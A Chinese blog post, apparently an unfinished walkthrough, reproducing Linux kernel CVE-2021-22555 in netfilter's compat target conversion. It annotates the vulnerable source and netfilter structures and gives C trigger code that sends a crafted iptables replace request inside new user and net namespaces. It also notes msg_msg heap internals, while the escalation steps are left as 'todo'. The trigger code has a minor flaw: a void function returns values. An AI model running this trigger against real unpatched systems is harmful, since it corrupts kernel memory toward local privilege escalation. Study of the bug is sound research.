CVE-2021-22555复现

2026-10-07

1. 前提条件

具备一个普通用户,有CAP_NET_ADMIN权限,通常情况下,user+network namespace就有这个权限。
namespace的链接:
https://wsxk.github.io/sandboxing_namespace/?query=namespace
namespace和capabilities的关联:namespace负责隔离资源视图,capability拆分root权限,两者是紧密关联的

2. 漏洞产生位置

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/netfilter/x_tables.c
void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
                               unsigned int *size)
{
    // 上层已找到的内核 target 描述对象
    const struct xt_target *target = t->u.kernel.target;

    // 输入记录:已经拷入内核,但仍采用 32 位兼容布局
    struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t;

    // off:本机格式与兼容格式的大小差
    int pad, off = xt_compat_target_offset(target);

    // 输入记录总长度,包含头部、数据和填充
    u_int16_t tsize = ct->u.user.target_size;
    char name[sizeof(t->u.user.name)];

    t = *dstptr;                  // t 改为指向输出位置,ct 仍指向输入
    memcpy(t, ct, sizeof(*ct));    // 复制头部

    // 有专用转换函数就调用,否则直接复制数据部分
    if (target->compat_from_user)
        target->compat_from_user(t->data, ct->data);
    else
        memcpy(t->data, ct->data, tsize - sizeof(*ct));

    // targetsize 是本机数据长度;pad 是它末尾的对齐填充长度
    pad = XT_ALIGN(target->targetsize) - target->targetsize;
    if (pad > 0)
        // 旧实现的问题:这里缺少目标缓冲区边界检查,可能越界清零
        memset(t->data + target->targetsize, 0, pad); // 漏洞点漏洞点漏洞点,t->data不一定是8字节对齐的,所以这里有越界问题。

    tsize += off;                 // 得到转换后的记录总长度
    t->u.user.target_size = tsize;

    // 释放模块引用前保存名称,随后恢复 union 中的用户格式名称字段
    strlcpy(name, target->name, sizeof(name));
    module_put(target->me);
    strncpy(t->u.user.name, name, sizeof(t->u.user.name));

    *size += off;                 // 修正规则表总长度
    *dstptr += tsize;             // 输出指针前进到下一条记录
}

2.1 漏洞点

其实是发生在 memset(t->data + target->targetsize, 0, pad);这里发生越界清0

3. 漏洞利用

3.1 环境搭建

https://www.anquanke.com/post/id/254027#h2-4
介绍了搭建教程,不想搭建可以直接进行一个抄:
https://github.com/bsauce/kernel-exploit-factory/tree/main/CVE-2021-22555
(我自己也搭了个环境,但是无法触发漏洞,大概率是因为没有装net相关功能)

3.2 漏洞触发流程分析

netfilter相关介绍参考https://www.anquanke.com/post/id/254027#h2-4的博客,写的挺好的
总结的说,触发漏洞的模块为linux的netfilter,它是集成到linux内核协议栈中的一套防火墙系统,它提供了一系列接口,能够对网络协议栈中的数据包进行拦截、检查、修改和转发。netfilter提供5个hook点:
报文到达linux提供的hook点时,会执行注册的回调函数,而linux提供的默认回调函数里会会针对xt_table表格的优先级来先后处理规则
netfilter里的管理一张规则表的管理结构体叫做xt_table,其定义如下:
| 字段 | 作用 | |—|—| | name | 表名,例如 "filter" | | af | 所属协议族,例如 IPv4、IPv6 | | valid_hooks | 位掩码,表示该表允许从哪些 Netfilter hook 进入 | | priority | 在同一个 hook 上的执行优先级,通常数值越小越先执行 | | private | 指向 xt_table_info,通过它访问实际规则 | | ops | 指向用于向 Netfilter 注册的 hook 操作 | | list | 将该表接入内核维护的表链表 | | me | 所属内核模块,用于模块生命周期管理 |

xt_table里的private指针很重要,里面存放的就是这张表里提供的规则集。(规则集可以提供5个hook点的执行规则)

xt_table                         表的管理信息
 └─ private → xt_table_info       规则集及其管理信息
                ├─ size / number       规则数据大小 / 条目数
                ├─ hook_entry[]        各 hook 对应的规则入口偏移
                ├─ underflow[]         内置链的默认策略入口偏移
                └─ entries[]           实际规则数据
                     └─ ipt_entry ...  IPv4 的变长规则条目

entries[] 存放规则数据,hook_entry[hook] 记录该 hook 的起始规则在 entries[] 中的字节偏移。ipt_entry实际上就是实际的规则条目
计算方式为:

struct ipt_entry *first_rule =
    (struct ipt_entry *)(info->entries + info->hook_entry[hook]);

ipt_entry的结构体定义如下:

struct ipt_entry {
    /* 基本匹配条件:IP 地址、掩码、网卡、协议等 */
    struct ipt_ip ip;

    /* 历史缓存标志字段 */
    unsigned int nfcache;

    /* 从当前规则起点到 target 的字节偏移 */
    __u16 target_offset;

    /* 当前规则的总长度,也是到下一条规则的字节偏移 */
    __u16 next_offset;

    /* 内核进行规则链遍历、可达性校验时使用 */
    unsigned int comefrom;

    /* 包数、字节数的计数相关字段 */
    struct xt_counters counters;

    /* 变长区域:零个或多个 xt_entry_match,随后是一个 xt_entry_target */
    unsigned char elems[];
};

ipt_entry以内还有个关键结构体:
xt_entry_match用来表示一条规则中的一个扩展匹配项,记录“使用哪种匹配器,以及传给它什么参数”。它位于前面提到的ipt_entry.elems[]区域中
其结构体定义如下:

struct xt_entry_match {
	union {
		struct {
			__u16 match_size; // 当前匹配块的总长度,包括头部、参数及对齐空间
			/* Used by userspace */
			char name[XT_EXTENSION_MAXNAMELEN]; //用户态提交的匹配器名称和版本,例如 "tcp"
			__u8 revision;
		} user;
		struct {
			__u16 match_size;
			/* Used inside the kernel */
			struct xt_match *match; // 内核解析后,指向对应的 struct xt_match
		} kernel;
		/* Total length */
		__u16 match_size;
	} u;
	unsigned char data[]; //紧跟头部的变长参数,具体格式由匹配器决定
};

xt_entry_target用来描述一条规则匹配成功后执行的动作及其参数,例如接受、丢弃、记录日志、修改标记或跳转到其他链。

struct xt_entry_target {
    union {
        /* 用户态:通过名称和版本指定 target */
        struct {
            __u16 target_size;
            char name[XT_EXTENSION_MAXNAMELEN];
            __u8 revision;
        } user;

        /* 内核态:关联到已注册的 target 实现 */
        struct {
            __u16 target_size;
            struct xt_target *target;
        } kernel;

        /* 整个 target 块的长度 */
        __u16 target_size;
    } u;

    /* 紧随头部的变长动作参数 */
    unsigned char data[0];
}; // data实际起始偏移为0x20,但是因为各种结构体分布排序,可能导致偏移不一定8字节对齐

而漏洞发生的位置xt_compat_target_from_user,把一个按32位用户态 ABI 布局的 target,转换成内核原生 ABI 布局的 target。这里的 ABI 指结构体大小、字段排列、对齐等约定。它属于规则配置阶段的兼容处理。xt_compat_target_from_user会在调用setsockopt(sockfd, level, optname, optval, optlen);系统调用后执行。下面是个demo

/* 在 64 位内核上,以 32 位程序运行此代码。
 * req 的类型为 struct ipt_replace *。
 */
int fd = socket(AF_INET, SOCK_STREAM, 0);

int ret = setsockopt(
    fd,
    SOL_IP,
    IPT_SO_SET_REPLACE,
    req,
    sizeof(*req) + req->size
);

3.3 漏洞触发调试

漏洞报告是按照漏洞利用逻辑来写的,实际触发需要调试来加深理解。
实际编写代码:

#define PRIMARY_SIZE  0x1000
void trigger_oob_write(int socket_fd){
    struct __attribute__((packed)){ //GCC 扩展语法,__packed__与packed 含义相同:让外层成员紧挨着存放,不在它们之间插入自动对齐填充。
        struct ipt_replace replace; // 是传统 IPv4 iptables 接口中,用于“替换某张表的全部规则”的请求头。 用户态通过 setsockopt(..., IPT_SO_SET_REPLACE, ...) 把它和后面的新规则一起提交给内核
        struct ipt_entry entry;  // size: 0x70
        struct xt_entry_match match; // size: 0x20
        char padding[PRIMARY_SIZE-0xf8-0x2] ; //construct a padding to make the target->data not start with 0 or 8
        struct xt_entry_target target; // size: 0x20
    }data={0};
    // after compat,sizeof(entry+match+target) = 0xb8 
    // after struct transfer, in kernel the struct is sizeof(xt_table_info(0x40)+0xb8) = 0xf8 
    // to make sure the struct is in 0x1000,we need to subtract 0xf8, and to make the target->data not start with 0 or 8, we also need to subtract 0x2 
    data.replace.num_counters = 1;
    data.replace.num_entries = 1;
    data.replace.size = sizeof(data.entry) + sizeof(data.match) + sizeof(data.padding) +sizeof(data.target);
    data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) +sizeof(data.padding) + sizeof(data.target));
    data.entry.target_offset = (sizeof(data.entry) + sizeof(data.match) + sizeof(data.padding));
    data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.padding));
    strcpy(data.match.u.user.name, "icmp");
    data.match.u.user.revision = 0;
    data.target.u.user.target_size = sizeof(data.target);
    strcpy(data.target.u.user.name, "NFQUEUE");
    data.target.u.user.revision = 1;

    // Partially overwrite the adjacent buffer with 2 bytes of zero.
    if (setsockopt(socket_fd, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) {
        if (errno == ENOPROTOOPT) {
        printf("[-] Error ip_tables module is not loaded.\n");
        return -1;
        }
    }
  return 0;
}

int main(){
    // step0 initialization
    puts("\033[32m\033[1m[+] CVE-2021-22555 Linux Privilege Escalation by wsxk.\033[0m");
    // step0.1 set the process run in the same cpu
    pin_to_current_cpu();

    // step0.2 create new namespace and get net namespace
    if(unshare(CLONE_NEWUSER)<0){
        fatal("clone newuser failed!");
    }
    if(unshare(CLONE_NEWNET)<0){
        fatal("clone newnet failed!");
    }
    // step0.3 create sockert_fd to trigger off_by_null
    int socket_fd;
    socket_fd = socket(AF_INET,SOCK_STREAM,0);
    if(socket_fd<0){
        fatal("socket failed!");
    }
    // trigger off_byte_null 
    puts("[*] Trigger OOB write to construct the overlapping...");
    trigger_oob_write(socket_fd);
}

3.x msg_msg实现

还是使用传统的msg_msg结构体。

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/ipc/msgutil.c
static struct msg_msg *alloc_msg(size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg **pseg;
	size_t alen;

	alen = min(len, DATALEN_MSG);
	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
	if (msg == NULL)
		return NULL;

	msg->next = NULL;
	msg->security = NULL;

	len -= alen;
	pseg = &msg->next;
	while (len > 0) { //循环分配segment
		struct msg_msgseg *seg;
		cond_resched();
		alen = min(len, DATALEN_SEG);
		seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
		if (seg == NULL)
			goto out_err;
		*pseg = seg;
		seg->next = NULL;
		pseg = &seg->next;
		len -= alen;
	}

	return msg;

out_err:
	free_msg(msg);
	return NULL;
}
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/msg.h
/* one msg_msg structure for each message */
struct msg_msg {
	struct list_head m_list;
	long m_type;
	size_t m_ts;		/* message text size */
	struct msg_msgseg *next;
	void *security;
	/* the actual message follows immediately */
};

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/types.h
struct list_head {
	struct list_head *next, *prev;
};

// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/ipc/msgutil.c
struct msg_msgseg {
	struct msg_msgseg *next;
	/* the next part of the message follows immediately */
};

3.x 构造堆布局,达成uaf原语

3.x todo

总结

十分得牛逼,仅靠一个off-byte-null的原语,即可达成利用步骤,成功提权。

reference

https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
https://github.com/google/security-research/tree/master/pocs/linux/cve-2021-22555

https://seamaner.github.io/2025/04/26/CVE-2021-22555/
https://github.com/seamaner/kernel-cves-replay/tree/main/CVE-2021-22555
https://www.anquanke.com/post/id/251515#h3-7

CVE-2021-22555 2字节堆溢出写0漏洞提权分析-bsauce
【CVE.0x07】CVE-2021-22555 漏洞分析及利用-arttnba3